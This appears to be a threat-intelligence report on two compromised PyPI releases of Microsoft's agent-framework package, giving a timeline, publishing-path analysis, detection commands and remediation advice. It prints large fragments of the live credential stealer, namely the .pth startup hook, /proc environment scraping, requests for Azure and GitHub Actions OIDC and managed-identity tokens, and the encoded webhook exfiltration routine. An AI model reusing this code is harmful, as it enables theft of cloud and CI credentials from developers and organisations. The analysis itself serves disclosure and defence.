Microsoft agent-framework Compromised Twice on PyPI
Two releases of agent-framework, Microsoft’s official Python metapackage for its Agent Framework, steal credentials from any environment that installs them. Nothing has to import the package. A .pth file runs the stealer each time Python starts, so a pip install in a CI job is enough. It takes environment variables and credential files. It also asks Azure DevOps, Azure managed identity and, in the second release, GitHub Actions for fresh tokens, and sends those out too.
SafeDep flagged version 1.26.1 22 minutes after it reached PyPI on 17 November 2026. By then the attacker was close to publishing again. Once 1.26.1 came off PyPI, 1.26.2 shipped the same stealer under different file names, and SafeDep flagged it 4 minutes after upload. Removing one version did not stop an attacker who could still publish. The last clean release is 1.26.0.
Update (23 November 2026): Wiz Research reports that the attacker appears to have compromised a client certificate and private key for Microsoft’s Engineering System Release Pipeline (ESRP), the internal service Microsoft uses to sign and publish this package. How the attacker got those credentials is not known. See How the attacker published.
Update (18 November 2026): PyPI shows that vibiret, an account created on the day of the attack, can publish to agent-framework and five related projects. Four of those projects install with agent-framework. See A maintainer account created the same day.
Affected versions
PyPI lists two maintainers for the project, microsoft and vibiret. The project gets about 192,000 downloads a month. How many installs the two bad versions got is not known yet.
Timeline
- 20:35agent-framework 1.26.1 publishedMalicious
A single wheel, where every earlier release shipped a wheel and an sdist.
- 20:57SafeDep flags 1.26.1Malicious 0.98
Static analysis of the wheel finds the
.pthhook, the collector and the webhook.site endpoint. - 21:08agent-framework 1.26.2 publishedMalicious
PyPI no longer serves 1.26.1. The payload moves to new files and adds GitHub Actions OIDC theft.
- 21:12SafeDep flags 1.26.2Malicious 0.99
Same webhook, new file names, new User-Agent.
- After 21:121.26.2 removed from PyPIRemoved
1.26.0 is again the newest version on PyPI.
How the releases differed from real ones
Every release from 1.20.0 through 1.26.0 shipped a wheel and an sdist. Both malicious versions are a single wheel. The 1.26.1 wheel is 10,402 bytes, up from 6,681 in 1.26.0. A metapackage that always shipped both files now ships one.
Missing provenance does not set the bad wheels apart. PyPI has no attestation for 1.26.0 either, so a consumer had no cryptographic way to tell Microsoft’s uploads from the attacker’s.
This is the second Microsoft package on PyPI to get rogue releases in six months. In May, durabletask 1.4.1 to 1.4.3 went up with a stolen API token and had no matching commits or tags. The payloads and infrastructure share nothing, so there is no evidence that links the two incidents.
How the attacker published
Wiz Research(opens in new tab) observed part of the operation. The attacker’s tooling reported its own progress to the same publicly accessible webhook.site URL that received the stolen data.
From those reports, Wiz concludes that the attacker appears to have compromised a client certificate and private key for ESRP, the internal service Microsoft uses to sign and publish agent-framework. The first publish attempt came from AWS, and the IP filtering in ESRP rejected it. A second attempt from Microsoft-owned IP space succeeded.
The tooling identifies itself as Cairn, which Wiz describes as an open source AI penetration-testing framework. It staged the package at /tmp/cairn_pkg and sent a connectivity probe named CAIRN_ESRP_PROBE2.
Wiz presents the ESRP compromise as what appears to have happened, not as a confirmed finding. How the attacker got the certificate and key is not known. A publish through ESRP goes out on Microsoft’s own release path, which would explain why removing 1.26.1 from PyPI did not stop 1.26.2.
A maintainer account created the same day
PyPI lists a second maintainer on agent-framework, vibiret. The account joined PyPI on 17 November 2026, the day both malicious versions went up. Besides agent-framework, it can publish to the five projects below. It is not listed on agent-framework-core, which holds the framework’s code.
PyPI does not publish who uploaded a file. On 18 November the join date pointed to vibiret as the account that uploaded 1.26.1 and 1.26.2. Wiz’s report gives a different path. ESRP already publishes the package, so a publish through ESRP needs no new maintainer account. Wiz does not mention vibiret, and what part the account played is not known. Neither PyPI nor Microsoft has released the upload log that would settle it. How the account got maintainer access is not known. On 18 November it still had access to all six projects.
None of the five has had a release since 12 November, before the account existed. Four of them install with agent-framework. Version 1.26.0 requires agent-framework-core[all]==1.26.0, and that extra accepts any release of the four below 2.0. While vibiret keeps its access, every fresh pip install agent-framework==1.26.0 would pull in a new release of any of the four.
How the payload runs
Python’s site module executes any line beginning with import in a .pth file under site-packages at interpreter startup. 1.26.1 ships agent_framework_meta.pth, a 28-byte file holding one line. Hashing that line plus a newline reproduces the file’s SHA-256 (21f28e85…98eb5e).
import agent_framework_metaThat import runs agent_framework_meta/__init__.py, where 1.26.1 appends a hook to the otherwise clean file.
# Lightweight runtime diagnostics hook.
try:
from . import _telemetry as _telemetry
_telemetry._start()
except Exception:
pass_start() sets _AF_TEL so child interpreters skip it, then forks and detaches with setsid(). The host process returns at once, so a test run or build shows no delay. Where fork is missing, it uses a daemon thread.
def _start():
if os.environ.get("_AF_TEL"):
return
os.environ["_AF_TEL"] = "1"
try:
if hasattr(os, "fork"):
pid = os.fork()
if pid == 0:
try:
os.setsid()
except Exception:
pass
_run()
os._exit(0)
return
except Exception:
pass
try:
import threading
t = threading.Thread(target=_run)
t.daemon = True
t.start()
except Exception:
passThe same shape, a one-line .pth that imports a module which forks a collector, appeared in LiteLLM 1.107.0 in October.
What it steals
The collector works through four sources.
- Environment variables whose names contain any of 31 strings, including
TOKEN,SECRET,KEY,AZURE,AWS,GITHUB,HF_,OPENAI,NPM,PIP,SYSTEMandBUILD. The collector keeps up to 8,000 characters of each value. - Credential files, up to 60 under 256 KB each. These cover Azure CLI JSON under
~/.azureand/home/*/.azure,pip.conf,.npmrc,.netrc,.git-credentials, Dockerconfig.json, the Hugging Face token, the Azure AI Foundry configuration, and Azure DevOps self-hosted agent.credentialsunder_work,vss-agentand/mnt/azure_nvme_temppaths. It also takes/app/.env,/app/*.json,/workspace/.envand~/.config/*/token*.json. - Other processes’ environments, from up to 300
/proc/<pid>/environfiles. On a shared or self-hosted runner, that reaches secrets belonging to other jobs. - New tokens it requests from the platform, covered in the next section.
for e in glob.glob("/proc/[0-9]*/environ")[:300]:
try:
raw = open(e, "rb").read().decode("utf-8", "replace")
hits = []
for kv in raw.split("\x00"):
if any(x in kv.upper() for x in ("TOKEN","SECRET","PASSWORD","KEY=","ENDPOINT_AUTH","SYSTEM_ACCESSTOKEN","IDENTITY_HEADER")):
hits.append(kv[:2000])It also records the hostname, user, working directory and sys.argv.
Tokens it requests
Besides reading credentials already on disk, the code asks the platform to issue new ones. Rotating stored secrets does not cover those.
In an Azure DevOps pipeline, SYSTEM_ACCESSTOKEN and SYSTEM_OIDCREQUESTURI are enough to request a federated token for api://AzureADTokenExchange. That is the token a pipeline uses to sign in to Azure through a workload identity federation service connection.
at = os.environ.get("SYSTEM_ACCESSTOKEN") or os.environ.get("SYSTEM_ACCESSTOKEN") or ""
oe = os.environ.get("SYSTEM_OIDCREQUESTURI") or ""
if oe and at:
for suffix, body in [("?api-version=7.1", {"scopes": ["api://AzureADTokenExchange"]}), ("?api-version=7.1", {})]:
try:
req = urllib.request.Request(oe + suffix, data=json.dumps(body).encode(), headers={"Authorization": "Bearer " + at, "Content-Type": "application/json"}, method="POST")
out["ado"]["oidc"] = urllib.request.urlopen(req, timeout=15).read().decode("utf-8", "replace")[:20000]On Azure compute, it asks the managed identity endpoint for an access token to each of these resources. It uses IDENTITY_ENDPOINT or MSI_ENDPOINT on App Service and Functions, and 169.254.169.254 elsewhere. It also pulls instance metadata.
res = ["https://management.azure.com/","https://ai.azure.com/","https://ml.azure.com/","https://cognitiveservices.azure.com/","https://storage.azure.com/","https://vault.azure.net","https://search.azure.com","https://management.core.windows.net/","https://graph.microsoft.com/","https://containerregistry.azure.net","499b84ac-1321-427f-aa17-267ca6975798","api://AzureADTokenExchange"]499b84ac-1321-427f-aa17-267ca6975798 is the Azure DevOps resource ID. A workload with a managed identity hands over tokens for Resource Manager, Key Vault, Storage, Graph and Azure DevOps, scoped to whatever that identity can reach.
Exfiltration
The endpoint is base64 in _ENC and decodes to hxxps://webhook[.]site/d381fd80-ec62-42ad-8f5c-d1b15103c9bb. _post() compresses the collected JSON with zlib, base64-encodes it and sends it with a 25-second timeout. It ignores every error.
_ENC = "aHR0cHM6Ly93ZWJob29rLnNpdGUvZDM4MWZkODAtZWM2Mi00MmFkLThmNWMtZDFiMTUxMDNjOWJi"
def _post(tag, data):
try:
import urllib.request
u = base64.b64decode(_ENC).decode()
body = base64.b64encode(zlib.compress(json.dumps(data, default=str).encode("utf-8", "replace"), 9))
req = urllib.request.Request(u + "?t=" + tag, data=body, headers={"Content-Type": "application/octet-stream", "User-Agent": "af-runtime-diagnostics/1"})
urllib.request.urlopen(req, timeout=25).read()
except Exception:
passThe data goes to ?t=telemetry. A webhook.site bin is anonymous and needs no infrastructure, which leaves the URL as the only network indicator. Proxy and egress logs that show a POST to it mark the hosts that sent data.
What changed in 1.26.2
1.26.2 restores agent_framework_meta/__init__.py to the clean file. Its SHA-256 (5f04333f…49f1) matches the one in the 1.26.0 wheel. The stealer moves into a new top-level module that starts itself on import.
As with 1.26.1, hashing the one line plus a newline reproduces the published SHA-256 of the startup file (325e7e9f…7f452f93).
import af_runtime_diagA check for 1.26.1’s file names or hashes misses 1.26.2. The webhook is the one indicator both share.
The new GitHub Actions block requests ID tokens for the two audiences Azure federated credentials accept. Any job with id-token: write that installed 1.26.2 handed both over.
# GitHub Actions OIDC (Azure federated credential)
try:
u = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_URL") or ""
t = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_TOKEN") or os.environ.get("ACTIONS_RUNTIME_TOKEN") or ""
if u and t:
for aud in ("api://AzureADTokenExchange", "https://management.azure.com/"):
try:
sep = "&" if "?" in u else "?"
uu = u + sep + "audience=" + urllib.parse.quote(aud, safe="")
req = urllib.request.Request(uu, headers={"Authorization": "Bearer " + t, "Accept": "application/json", "User-Agent": "runtime-diagnostics/1"})
out["gh_oidc"][aud] = urllib.request.urlopen(req, timeout=12).read().decode("utf-8", "replace")[:20000]The rest of the collector stays the same. The release went up after PyPI removed 1.26.1, so whoever controls the publishing path still held it at 21:08.
Check your environments
Look for the versions in lockfiles and requirement files.
$ grep -rnE 'agent[-_]framework.{0,20}1\.26\.[12]\b' --include='*.txt' --include='*.lock' --include='*.toml' --include='*.cfg' .On machines, images and runners, look for either startup file without starting the environment’s Python. Starting it would run the stealer again.
$ find / -path '*site-packages/*' \( -name 'agent_framework_meta.pth' -o -name 'af_runtime_diag.pth' \) -type f 2>/dev/null
$ find / -path '*site-packages/*' \( -name '_telemetry.py' -o -name 'af_runtime_diag.py' \) -type f -exec sha256sum {} + 2>/dev/null | grep -E '39fa329f2a93f734|54d885b7d7161c9e'Treat every secret reachable from an environment that installed either version as exposed. That covers environment secrets, Azure CLI sessions, and Azure DevOps personal access tokens and service connections. It also covers PyPI, npm, NuGet, Docker and Hugging Face tokens, git credentials, and secrets of other jobs on the same self-hosted runner. Rotation does not undo the tokens it had issued. Review sign-in and activity logs for the managed identities and federated credentials that environment could use, from the install time onward.
Lock the whole dependency tree with hashes. A pin on agent-framework alone leaves its four sibling dependencies free to update. pip-compile --generate-hashes or uv lock records the versions you have now. Hold off on any new release of agent-framework or the five sibling projects until Microsoft removes vibiret and confirms the releases are clean.
Indicators of compromise
References
- supply-chain
- pypi
- malware
- credential-stealer
- azure
- threat-intel
Author